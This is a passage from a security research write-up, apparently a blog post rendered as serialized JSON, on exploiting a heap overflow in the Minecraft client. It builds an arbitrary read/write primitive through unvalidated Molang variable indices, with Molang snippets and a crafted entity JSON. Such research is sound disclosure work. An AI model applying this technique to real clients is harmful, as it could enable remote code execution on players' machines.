",{"type":25,"tag":264,"props":165540,"children":165542},{"className":165541},[],[165543],{"type":30,"value":165544},"MolangIndexMap",{"type":30,"value":165546}," is used to map a global variable name to the correct per-entity slot.",{"type":25,"tag":2352,"props":165548,"children":165550},{"id":165549},"molangindexmap",[165551],{"type":30,"value":165544},{"type":25,"tag":26,"props":165553,"children":165554},{},[165555,165560,165562,165568,165570,165576],{"type":25,"tag":264,"props":165556,"children":165558},{"className":165557},[],[165559],{"type":30,"value":165544},{"type":30,"value":165561}," is a per-entity ",{"type":25,"tag":264,"props":165563,"children":165565},{"className":165564},[],[165566],{"type":30,"value":165567},"std::vector\u003Cuint16_t>",{"type":30,"value":165569},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":25,"tag":264,"props":165571,"children":165573},{"className":165572},[],[165574],{"type":30,"value":165575},"variable.result = 0",{"type":30,"value":165577}," it:",{"type":25,"tag":661,"props":165579,"children":165580},{},[165581,165591,165601],{"type":25,"tag":112,"props":165582,"children":165583},{},[165584,165586],{"type":30,"value":165585},"Checks the global hashmap for ",{"type":25,"tag":264,"props":165587,"children":165589},{"className":165588},[],[165590],{"type":30,"value":22204},{"type":25,"tag":112,"props":165592,"children":165593},{},[165594,165596],{"type":30,"value":165595},"If found, uses the global index to look up the per-entity index in ",{"type":25,"tag":264,"props":165597,"children":165599},{"className":165598},[],[165600],{"type":30,"value":165544},{"type":25,"tag":112,"props":165602,"children":165603},{},[165604,165606],{"type":30,"value":165605},"If not found, creates a new global entry and assigns it ",{"type":25,"tag":264,"props":165607,"children":165609},{"className":165608},[],[165610],{"type":30,"value":165611},"last_index + 1",{"type":25,"tag":26,"props":165613,"children":165614},{},[165615,165617,165622,165624,165629,165631,165636,165638,165643,165645,165650,165651,165657,165659,165664],{"type":30,"value":165616},"This means the same global index for variable ",{"type":25,"tag":264,"props":165618,"children":165620},{"className":165619},[],[165621],{"type":30,"value":22204},{"type":30,"value":165623}," maps to the same position inside every entity’s ",{"type":25,"tag":264,"props":165625,"children":165627},{"className":165626},[],[165628],{"type":30,"value":165544},{"type":30,"value":165630},", but the actual ",{"type":25,"tag":264,"props":165632,"children":165634},{"className":165633},[],[165635],{"type":30,"value":165041},{"type":30,"value":165637}," for ",{"type":25,"tag":264,"props":165639,"children":165641},{"className":165640},[],[165642],{"type":30,"value":22204},{"type":30,"value":165644}," may live at different slots inside each entity's ",{"type":25,"tag":264,"props":165646,"children":165648},{"className":165647},[],[165649],{"type":30,"value":165368},{"type":30,"value":31653},{"type":25,"tag":264,"props":165652,"children":165654},{"className":165653},[],[165655],{"type":30,"value":165656},"Entity.MolangIndexMap[global_index]",{"type":30,"value":165658}," stores the per-entity index (slot) of variable ",{"type":25,"tag":264,"props":165660,"children":165662},{"className":165661},[],[165663],{"type":30,"value":22204},{"type":30,"value":1860},{"type":25,"tag":26,"props":165666,"children":165667},{},[165668,165670,165675,165677,165682,165684,165689,165691,165696,165698,165704,165706,165711],{"type":30,"value":165669},"Importantly, we found that indices in the ",{"type":25,"tag":264,"props":165671,"children":165673},{"className":165672},[],[165674],{"type":30,"value":165544},{"type":30,"value":165676}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":25,"tag":264,"props":165678,"children":165680},{"className":165679},[],[165681],{"type":30,"value":165368},{"type":30,"value":165683},". This means that if we overwrite the index of variable ",{"type":25,"tag":264,"props":165685,"children":165687},{"className":165686},[],[165688],{"type":30,"value":22204},{"type":30,"value":165690}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":25,"tag":264,"props":165692,"children":165694},{"className":165693},[],[165695],{"type":30,"value":165368},{"type":30,"value":165697},", we could read from and write to ",{"type":25,"tag":264,"props":165699,"children":165701},{"className":165700},[],[165702],{"type":30,"value":165703},"address + 0x38",{"type":30,"value":165705}," through ",{"type":25,"tag":264,"props":165707,"children":165709},{"className":165708},[],[165710],{"type":30,"value":165536},{"type":30,"value":1860},{"type":25,"tag":247,"props":165713,"children":165715},{"id":165714},"building-a-molang-arbitrary-rw-primitive",[165716],{"type":30,"value":165717},"Building a Molang Arbitrary R/W Primitive",{"type":25,"tag":26,"props":165719,"children":165720},{},[165721,165723,165728,165730,165735],{"type":30,"value":165722},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":25,"tag":264,"props":165724,"children":165726},{"className":165725},[],[165727],{"type":30,"value":165398},{"type":30,"value":165729}," - specifically, of ",{"type":25,"tag":264,"props":165731,"children":165733},{"className":165732},[],[165734],{"type":30,"value":165368},{"type":30,"value":165736}," vector.",{"type":25,"tag":26,"props":165738,"children":165739},{},[165740,165742,165747,165749,165754,165755,165760,165762,165767],{"type":30,"value":165741},"Because every entity object is heap-allocated and contains a ",{"type":25,"tag":264,"props":165743,"children":165745},{"className":165744},[],[165746],{"type":30,"value":165368},{"type":30,"value":165748}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":25,"tag":264,"props":165750,"children":165752},{"className":165751},[],[165753],{"type":30,"value":162564},{"type":30,"value":68907},{"type":25,"tag":264,"props":165756,"children":165758},{"className":165757},[],[165759],{"type":30,"value":165368},{"type":30,"value":165761}," vector belonging to an entity object placed just next the ",{"type":25,"tag":264,"props":165763,"children":165765},{"className":165764},[],[165766],{"type":30,"value":165368},{"type":30,"value":165768}," allocated buffer.",{"type":25,"tag":7764,"props":165770,"children":165772},{"code":165771},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[165773],{"type":25,"tag":264,"props":165774,"children":165775},{"__ignoreMap":7},[165776],{"type":30,"value":165771},{"type":25,"tag":26,"props":165778,"children":165779},{},[165780,165782,165787,165789,165795,165797,165802,165803,165809,165810,165815,165817,165822,165824,165829,165831,165836,165838,165843,165845,165850,165852,165857,165859,165865,165867,165872,165874,165879],{"type":30,"value":165781},"In the scenario above, the ",{"type":25,"tag":264,"props":165783,"children":165785},{"className":165784},[],[165786],{"type":30,"value":165544},{"type":30,"value":165788}," would map ",{"type":25,"tag":264,"props":165790,"children":165792},{"className":165791},[],[165793],{"type":30,"value":165794},"variable.a",{"type":30,"value":165796}," -> index ",{"type":25,"tag":264,"props":165798,"children":165800},{"className":165799},[],[165801],{"type":30,"value":953},{"type":30,"value":44},{"type":25,"tag":264,"props":165804,"children":165806},{"className":165805},[],[165807],{"type":30,"value":165808},"variable.b",{"type":30,"value":165796},{"type":25,"tag":264,"props":165811,"children":165813},{"className":165812},[],[165814],{"type":30,"value":968},{"type":30,"value":165816},", and so on. If we overwrite the index for ",{"type":25,"tag":264,"props":165818,"children":165820},{"className":165819},[],[165821],{"type":30,"value":165794},{"type":30,"value":165823}," with a value that is out-of-bounds for the ",{"type":25,"tag":264,"props":165825,"children":165827},{"className":165826},[],[165828],{"type":30,"value":165368},{"type":30,"value":165830},", it can instead index the ",{"type":25,"tag":264,"props":165832,"children":165834},{"className":165833},[],[165835],{"type":30,"value":162564},{"type":30,"value":165837}," field of the entity object above. Reading ",{"type":25,"tag":264,"props":165839,"children":165841},{"className":165840},[],[165842],{"type":30,"value":165794},{"type":30,"value":165844}," will then return the pointer stored at offset ",{"type":25,"tag":264,"props":165846,"children":165848},{"className":165847},[],[165849],{"type":30,"value":165302},{"type":30,"value":165851}," from the start of the ",{"type":25,"tag":264,"props":165853,"children":165855},{"className":165854},[],[165856],{"type":30,"value":165368},{"type":30,"value":165858}," (which in this diagram corresponds to ",{"type":25,"tag":264,"props":165860,"children":165862},{"className":165861},[],[165863],{"type":30,"value":165864},"variable.f",{"type":30,"value":165866},"), and writing to ",{"type":25,"tag":264,"props":165868,"children":165870},{"className":165869},[],[165871],{"type":30,"value":165794},{"type":30,"value":165873}," will overwrite that pointer - corrupting ",{"type":25,"tag":264,"props":165875,"children":165877},{"className":165876},[],[165878],{"type":30,"value":165864},{"type":30,"value":1860},{"type":25,"tag":26,"props":165881,"children":165882},{},[165883,165885,165890,165891,165897,165899,165904,165906,165912,165914,165919,165921,165926,165928,165934,165936,165942,165944,165949],{"type":30,"value":165884},"To leak the address of the Minecraft executable we could increment ",{"type":25,"tag":264,"props":165886,"children":165888},{"className":165887},[],[165889],{"type":30,"value":165794},{"type":30,"value":16213},{"type":25,"tag":264,"props":165892,"children":165894},{"className":165893},[],[165895],{"type":30,"value":165896},"variable.a += 8",{"type":30,"value":165898},"), which advances the pointer used for ",{"type":25,"tag":264,"props":165900,"children":165902},{"className":165901},[],[165903],{"type":30,"value":165864},{"type":30,"value":165905}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":25,"tag":264,"props":165907,"children":165909},{"className":165908},[],[165910],{"type":30,"value":165911},"variable.a = variable.exe_leak + \u003Coffset>",{"type":30,"value":165913}," - this updates the ",{"type":25,"tag":264,"props":165915,"children":165917},{"className":165916},[],[165918],{"type":30,"value":165864},{"type":30,"value":165920}," pointer to our chosen address, and writing to ",{"type":25,"tag":264,"props":165922,"children":165924},{"className":165923},[],[165925],{"type":30,"value":165864},{"type":30,"value":165927},", for example ",{"type":25,"tag":264,"props":165929,"children":165931},{"className":165930},[],[165932],{"type":30,"value":165933},"variable.f = 1337",{"type":30,"value":165935},", writes the value ",{"type":25,"tag":264,"props":165937,"children":165939},{"className":165938},[],[165940],{"type":30,"value":165941},"1337",{"type":30,"value":165943}," to offset ",{"type":25,"tag":264,"props":165945,"children":165947},{"className":165946},[],[165948],{"type":30,"value":165302},{"type":30,"value":165950}," from that calculated address.",{"type":25,"tag":2352,"props":165952,"children":165954},{"id":165953},"testing-the-idea",[165955],{"type":30,"value":165956},"Testing the Idea",{"type":25,"tag":26,"props":165958,"children":165959},{},[165960,165962,165967,165969,165974,165976,165981],{"type":30,"value":165961},"We tested the idea by manually adding a pointer to the start of ",{"type":25,"tag":264,"props":165963,"children":165965},{"className":165964},[],[165966],{"type":30,"value":165368},{"type":30,"value":165968}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":25,"tag":10281,"props":165970,"children":165971},{},[165972],{"type":30,"value":165973},"almost",{"type":30,"value":165975}," worked - below is the state of the ",{"type":25,"tag":264,"props":165977,"children":165979},{"className":165978},[],[165980],{"type":30,"value":165368},{"type":30,"value":165982},"'s allocated buffer before the Molang script executes:",{"type":25,"tag":26,"props":165984,"children":165985},{},[165986],{"type":25,"tag":698,"props":165987,"children":165989},{"alt":63694,"src":165988},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":25,"tag":26,"props":165991,"children":165992},{},[165993],{"type":30,"value":165994},"And this is after execution:",{"type":25,"tag":26,"props":165996,"children":165997},{},[165998],{"type":25,"tag":698,"props":165999,"children":166001},{"alt":63694,"src":166000},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":25,"tag":26,"props":166003,"children":166004},{},[166005],{"type":30,"value":166006},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":25,"tag":7764,"props":166008,"children":166010},{"code":166009,"language":47110,"meta":7,"className":47108,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[166011],{"type":25,"tag":264,"props":166012,"children":166013},{"__ignoreMap":7},[166014,166021,166042,166054,166066,166087,166094,166101,166108,166120,166133,166145,166157,166169,166185,166192,166204,166212,166220,166227,166234,166241],{"type":25,"tag":271,"props":166015,"children":166016},{"class":13593,"line":13594},[166017],{"type":25,"tag":271,"props":166018,"children":166019},{"style":13625},[166020],{"type":30,"value":24005},{"type":25,"tag":271,"props":166022,"children":166023},{"class":13593,"line":11641},[166024,166029,166033,166038],{"type":25,"tag":271,"props":166025,"children":166026},{"style":13598},[166027],{"type":30,"value":166028},"  \"format_version\"",{"type":25,"tag":271,"props":166030,"children":166031},{"style":13625},[166032],{"type":30,"value":28453},{"type":25,"tag":271,"props":166034,"children":166035},{"style":17388},[166036],{"type":30,"value":166037},"\"1.10.0\"",{"type":25,"tag":271,"props":166039,"children":166040},{"style":13625},[166041],{"type":30,"value":14351},{"type":25,"tag":271,"props":166043,"children":166044},{"class":13593,"line":14354},[166045,166050],{"type":25,"tag":271,"props":166046,"children":166047},{"style":13598},[166048],{"type":30,"value":166049},"  \"minecraft:client_entity\"",{"type":25,"tag":271,"props":166051,"children":166052},{"style":13625},[166053],{"type":30,"value":50134},{"type":25,"tag":271,"props":166055,"children":166056},{"class":13593,"line":14391},[166057,166062],{"type":25,"tag":271,"props":166058,"children":166059},{"style":13598},[166060],{"type":30,"value":166061},"    \"description\"",{"type":25,"tag":271,"props":166063,"children":166064},{"style":13625},[166065],{"type":30,"value":50134},{"type":25,"tag":271,"props":166067,"children":166068},{"class":13593,"line":14400},[166069,166074,166078,166083],{"type":25,"tag":271,"props":166070,"children":166071},{"style":13598},[166072],{"type":30,"value":166073},"      \"identifier\"",{"type":25,"tag":271,"props":166075,"children":166076},{"style":13625},[166077],{"type":30,"value":28453},{"type":25,"tag":271,"props":166079,"children":166080},{"style":17388},[166081],{"type":30,"value":166082},"\"minecraft:leash_knot\"",{"type":25,"tag":271,"props":166084,"children":166085},{"style":13625},[166086],{"type":30,"value":14351},{"type":25,"tag":271,"props":166088,"children":166089},{"class":13593,"line":16406},[166090],{"type":25,"tag":271,"props":166091,"children":166092},{"emptyLinePlaceholder":18},[166093],{"type":30,"value":16829},{"type":25,"tag":271,"props":166095,"children":166096},{"class":13593,"line":16434},[166097],{"type":25,"tag":271,"props":166098,"children":166099},{"style":35506},[166100],{"type":30,"value":139881},{"type":25,"tag":271,"props":166102,"children":166103},{"class":13593,"line":16447},[166104],{"type":25,"tag":271,"props":166105,"children":166106},{"style":13625},[166107],{"type":30,"value":165191},{"type":25,"tag":271,"props":166109,"children":166110},{"class":13593,"line":16465},[166111,166116],{"type":25,"tag":271,"props":166112,"children":166113},{"style":13598},[166114],{"type":30,"value":166115},"      \"scripts\"",{"type":25,"tag":271,"props":166117,"children":166118},{"style":13625},[166119],{"type":30,"value":50134},{"type":25,"tag":271,"props":166121,"children":166122},{"class":13593,"line":16486},[166123,166128],{"type":25,"tag":271,"props":166124,"children":166125},{"style":13598},[166126],{"type":30,"value":166127},"        \"initialize\"",{"type":25,"tag":271,"props":166129,"children":166130},{"style":13625},[166131],{"type":30,"value":166132},": [\n",{"type":25,"tag":271,"props":166134,"children":166135},{"class":13593,"line":16495},[166136,166141],{"type":25,"tag":271,"props":166137,"children":166138},{"style":17388},[166139],{"type":30,"value":166140},"          \"variable.a = 0;\"",{"type":25,"tag":271,"props":166142,"children":166143},{"style":13625},[166144],{"type":30,"value":14351},{"type":25,"tag":271,"props":166146,"children":166147},{"class":13593,"line":16744},[166148,166153],{"type":25,"tag":271,"props":166149,"children":166150},{"style":17388},[166151],{"type":30,"value":166152},"          \"variable.b = 0;\"",{"type":25,"tag":271,"props":166154,"children":166155},{"style":13625},[166156],{"type":30,"value":14351},{"type":25,"tag":271,"props":166158,"children":166159},{"class":13593,"line":16761},[166160,166165],{"type":25,"tag":271,"props":166161,"children":166162},{"style":17388},[166163],{"type":30,"value":166164},"          \"variable.c = 0;\"",{"type":25,"tag":271,"props":166166,"children":166167},{"style":13625},[166168],{"type":30,"value":14351},{"type":25,"tag":271,"props":166170,"children":166171},{"class":13593,"line":16778},[166172,166177,166181],{"type":25,"tag":271,"props":166173,"children":166174},{"style":13625},[166175],{"type":30,"value":166176},"          [",{"type":25,"tag":271,"props":166178,"children":166179},{"style":35506},[166180],{"type":30,"value":22714},{"type":25,"tag":271,"props":166182,"children":166183},{"style":13625},[166184],{"type":30,"value":24897},{"type":25,"tag":271,"props":166186,"children":166187},{"class":13593,"line":16791},[166188],{"type":25,"tag":271,"props":166189,"children":166190},{"style":13625},[166191],{"type":30,"value":56762},{"type":25,"tag":271,"props":166193,"children":166194},{"class":13593,"line":16800},[166195,166200],{"type":25,"tag":271,"props":166196,"children":166197},{"style":13598},[166198],{"type":30,"value":166199},"        \"pre_animation\"",{"type":25,"tag":271,"props":166201,"children":166202},{"style":13625},[166203],{"type":30,"value":166132},{"type":25,"tag":271,"props":166205,"children":166206},{"class":13593,"line":16823},[166207],{"type":25,"tag":271,"props":166208,"children":166209},{"style":17388},[166210],{"type":30,"value":166211},"          \"variable.a = 2.310732e-27;\"\n",{"type":25,"tag":271,"props":166213,"children":166214},{"class":13593,"line":16832},[166215],{"type":25,"tag":271,"props":166216,"children":166217},{"style":13625},[166218],{"type":30,"value":166219},"        ]\n",{"type":25,"tag":271,"props":166221,"children":166222},{"class":13593,"line":16841},[166223],{"type":25,"tag":271,"props":166224,"children":166225},{"style":13625},[166226],{"type":30,"value":50311},{"type":25,"tag":271,"props":166228,"children":166229},{"class":13593,"line":16907},[166230],{"type":25,"tag":271,"props":166231,"children":166232},{"style":13625},[166233],{"type":30,"value":16501},{"type":25,"tag":271,"props":166235,"children":166236},{"class":13593,"line":16915},[166237],{"type":25,"tag":271,"props":166238,"children":166239},{"style":13625},[166240],{"type":30,"value":19003},{"type":25,"tag":271,"props":166242,"children":166243},{"class":13593,"line":16945},[166244],{"type":25,"tag":271,"props":166245,"children":166246},{"style":13625},[166247],{"type":30,"value":17058},{"type":25,"tag":26,"props":166249,"children":166250},{},[166251,166253,166258,166260,166265,166267,166272],{"type":30,"value":166252},"As shown, the pointer of a variable at offset ",{"type":25,"tag":264,"props":166254,"children":166256},{"className":166255},[],[166257],{"type":30,"value":165302},{"type":30,"value":166259}," was modified and the core concept works. During ",{"type":25,"tag":264,"props":166261,"children":166263},{"className":166262},[],[166264],{"type":30,"value":165260},{"type":30,"value":166266}," copy, pointers of some other variables above offset ",{"type":25,"tag":264,"props":166268,"children":166270},{"className":166269},[],[166271],{"type":30,"value":165302},{"type":30,"value":166273}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":25,"tag":26,"props":166275,"children":166276},{},[166277],{"type":30,"value":166278},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":25,"tag":108,"props":166280,"children":166281},{},[166282,166295],{"type":25,"tag":112,"props":166283,"children":166284},{},[166285,166287,166293],{"type":30,"value":166286},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":25,"tag":264,"props":166288,"children":166290},{"className":166289},[],[166291],{"type":30,"value":166292},"FLT_MAX",{"type":30,"value":166294},", the value becomes an invalid float causing the increment operation to fail.",{"type":25,"tag":112,"props":166296,"children":166297},{},[166298,166300,166305,166307,166312,166313,166318,166320,166325],{"type":30,"value":166299},"As noted before, during assignment, ",{"type":25,"tag":264,"props":166301,"children":166303},{"className":166302},[],[166304],{"type":30,"value":165260},{"type":30,"value":166306}," fields are copied, and the ",{"type":25,"tag":264,"props":166308,"children":166310},{"className":166309},[],[166311],{"type":30,"value":52262},{"type":30,"value":165350},{"type":25,"tag":264,"props":166314,"children":166316},{"className":166315},[],[166317],{"type":30,"value":68751},{"type":30,"value":166319},". Since our source ",{"type":25,"tag":264,"props":166321,"children":166323},{"className":166322},[],[166324],{"type":30,"value":165260},{"type":30,"value":166326}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":25,"tag":26,"props":166328,"children":166329},{},[166330],{"type":30,"value":166331},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":25,"tag":2352,"props":166333,"children":166335},{"id":166334},"expanding-the-idea",[166336],{"type":30,"value":166337},"Expanding the Idea",{"type":25,"tag":26,"props":166339,"children":166340},{},[166341,166343,166348,166350,166355,166356,166361,166363,166368],{"type":30,"value":166342},"As mentioned earlier, the ",{"type":25,"tag":264,"props":166344,"children":166346},{"className":166345},[],[166347],{"type":30,"value":45869},{"type":30,"value":166349}," field of ",{"type":25,"tag":264,"props":166351,"children":166353},{"className":166352},[],[166354],{"type":30,"value":165260},{"type":30,"value":28565},{"type":25,"tag":264,"props":166357,"children":166359},{"className":166358},[],[166360],{"type":30,"value":71048},{"type":30,"value":166362},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":25,"tag":264,"props":166364,"children":166366},{"className":166365},[],[166367],{"type":30,"value":52262},{"type":30,"value":166369}," field remain unchanged before and after Molang execution.",{"type":25,"tag":26,"props":166371,"children":166372},{},[166373,166375,166380],{"type":30,"value":166374},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":25,"tag":264,"props":166376,"children":166378},{"className":166377},[],[166379],{"type":30,"value":165368},{"type":30,"value":166381},"’s allocated buffer + 4.",{"type":25,"tag":26,"props":166383,"children":166384},{},[166385,166387,166392,166394,166399,166401,166406,166407,166413],{"type":30,"value":166386},"In the example below, ",{"type":25,"tag":264,"props":166388,"children":166390},{"className":166389},[],[166391],{"type":30,"value":165794},{"type":30,"value":166393}," points to ",{"type":25,"tag":264,"props":166395,"children":166397},{"className":166396},[],[166398],{"type":30,"value":165368},{"type":30,"value":166400},", while ",{"type":25,"tag":264,"props":166402,"children":166404},{"className":166403},[],[166405],{"type":30,"value":165808},{"type":30,"value":166393},{"type":25,"tag":264,"props":166408,"children":166410},{"className":166409},[],[166411],{"type":30,"value":166412},"MolangVariableMap + 4",{"type":30,"value":359},{"type":25,"tag":7764,"props":166415,"children":166417},{"code":166416},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[166418],{"type":25,"tag":264,"props":166419,"children":166420},{"__ignoreMap":7},[166421],{"type":30,"value":166416},{"type":25,"tag":26,"props":166423,"children":166424},{},[166425,166427,166432,166433,166438,166440,166445,166447,166452,166454,166459],{"type":30,"value":166426},"Here, the ",{"type":25,"tag":264,"props":166428,"children":166430},{"className":166429},[],[166431],{"type":30,"value":52262},{"type":30,"value":166349},{"type":25,"tag":264,"props":166434,"children":166436},{"className":166435},[],[166437],{"type":30,"value":165794},{"type":30,"value":166439}," starts at the lower 32 bits of the ",{"type":25,"tag":264,"props":166441,"children":166443},{"className":166442},[],[166444],{"type":30,"value":165864},{"type":30,"value":166446}," pointer, while ",{"type":25,"tag":264,"props":166448,"children":166450},{"className":166449},[],[166451],{"type":30,"value":165808},{"type":30,"value":166453}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":25,"tag":264,"props":166455,"children":166457},{"className":166456},[],[166458],{"type":30,"value":165864},{"type":30,"value":166460}," pointer in a separate variable:",{"type":25,"tag":7764,"props":166462,"children":166464},{"code":166463},"variable.saved_upper_32 = variable.b;\n",[166465],{"type":25,"tag":264,"props":166466,"children":166467},{"__ignoreMap":7},[166468],{"type":30,"value":166463},{"type":25,"tag":26,"props":166470,"children":166471},{},[166472],{"type":30,"value":166473},"Then we can modify the lower 32 bits of the pointer:",{"type":25,"tag":7764,"props":166475,"children":166477},{"code":166476},"variable.a = variable.a + itof(0x8);\n",[166478],{"type":25,"tag":264,"props":166479,"children":166480},{"__ignoreMap":7},[166481],{"type":30,"value":166476},{"type":25,"tag":26,"props":166483,"children":166484},{},[166485],{"type":30,"value":166486},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":25,"tag":7764,"props":166488,"children":166490},{"code":166489},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[166491],{"type":25,"tag":264,"props":166492,"children":166493},{"__ignoreMap":7},[166494],{"type":30,"value":166489},{"type":25,"tag":26,"props":166496,"children":166497},{},[166498,166500,166505],{"type":30,"value":166499},"Since the 32 bits directly below the ",{"type":25,"tag":264,"props":166501,"children":166503},{"className":166502},[],[166504],{"type":30,"value":52262},{"type":30,"value":166506}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":25,"tag":7764,"props":166508,"children":166510},{"code":166509},"variable.b = variable.saved_upper_32;\n",[166511],{"type":25,"tag":264,"props":166512,"children":166513},{"__ignoreMap":7},[166514],{"type":30,"value":166509},{"type":25,"tag":26,"props":166516,"children":166517},{},[166518,166520,166525],{"type":30,"value":166519},"Now ",{"type":25,"tag":264,"props":166521,"children":166523},{"className":166522},[],[166524],{"type":30,"value":165864},{"type":30,"value":166526}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":25,"tag":7764,"props":166528,"children":166530},{"code":166529},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[166531],{"type":25,"tag":264,"props":166532,"children":166533},{"__ignoreMap":7},[166534],{"type":30,"value":166529},{"type":25,"tag":26,"props":166536,"children":166537},{},[166538,166540,166545],{"type":30,"value":166539},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":25,"tag":264,"props":166541,"children":166543},{"className":166542},[],[166544],{"type":30,"value":166412},{"type":30,"value":166546}," on the heap?",{"type":25,"tag":26,"props":166548,"children":166549},{},[166550,166552,166557,166559,166565],{"type":30,"value":166551},"Additionally, adding 8 to ",{"type":25,"tag":264,"props":166553,"children":166555},{"className":166554},[],[166556],{"type":30,"value":165794},{"type":30,"value":166558}," in the example above wouldn’t work because ",{"type":25,"tag":264,"props":166560,"children":166562},{"className":166561},[],[166563],{"type":30,"value":166564},"0xddccbba0",{"type":30,"value":166566}," is not a valid float. So the first issue still remains unresolved.",{"type":25,"tag":2352,"props":166568,"children":166570},{"id":166569},"the-final-approach",[166571],{"type":30,"value":166572},"The Final Approach",{"type":25,"tag":26,"props":166574,"children":166575},{},[166576,166578,166583,166585,166591],{"type":30,"value":166577},"We realized that instead of having the second pointer at ",{"type":25,"tag":264,"props":166579,"children":166581},{"className":166580},[],[166582],{"type":30,"value":166412},{"type":30,"value":166584},", we could instead have it at ",{"type":25,"tag":264,"props":166586,"children":166588},{"className":166587},[],[166589],{"type":30,"value":166590},"MolangVariableMap + 2",{"type":30,"value":166592},", which would resolve both of our issues.",{"type":25,"tag":26,"props":166594,"children":166595},{},[166596,166598,166603,166604,166609],{"type":30,"value":166597},"Let’s revisit the previous example, but this time ",{"type":25,"tag":264,"props":166599,"children":166601},{"className":166600},[],[166602],{"type":30,"value":165808},{"type":30,"value":166393},{"type":25,"tag":264,"props":166605,"children":166607},{"className":166606},[],[166608],{"type":30,"value":166590},{"type":30,"value":359},{"type":25,"tag":7764,"props":166611,"children":166613},{"code":166612},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[166614],{"type":25,"tag":264,"props":166615,"children":166616},{"__ignoreMap":7},[166617],{"type":30,"value":166612},{"type":25,"tag":26,"props":166619,"children":166620},{},[166621,166623,166628],{"type":30,"value":166622},"With this setup, we can calculate any address relative to ",{"type":25,"tag":264,"props":166624,"children":166626},{"className":166625},[],[166627],{"type":30,"value":165864},{"type":30,"value":166629}," by first saving the upper 48 bits of the address:",{"type":25,"tag":7764,"props":166631,"children":166633},{"code":166632},"variable.saved_upper_48 = variable.b;\n",[166634],{"type":25,"tag":264,"props":166635,"children":166636},{"__ignoreMap":7},[166637],{"type":30,"value":166632},{"type":25,"tag":26,"props":166639,"children":166640},{},[166641,166642,166648,166650,166656],{"type":30,"value":142270},{"type":25,"tag":264,"props":166643,"children":166645},{"className":166644},[],[166646],{"type":30,"value":166647},"variable.saved_upper_48",{"type":30,"value":166649}," holds the value ",{"type":25,"tag":264,"props":166651,"children":166653},{"className":166652},[],[166654],{"type":30,"value":166655},"0x1c80ddcc",{"type":30,"value":1860},{"type":25,"tag":26,"props":166658,"children":166659},{},[166660],{"type":30,"value":166661},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":25,"tag":7764,"props":166663,"children":166665},{"code":166664},"variable.b = 0;\n",[166666],{"type":25,"tag":264,"props":166667,"children":166668},{"__ignoreMap":7},[166669],{"type":30,"value":166664},{"type":25,"tag":26,"props":166671,"children":166672},{},[166673],{"type":30,"value":166674},"Resulting in the following state:",{"type":25,"tag":7764,"props":166676,"children":166678},{"code":166677},"                   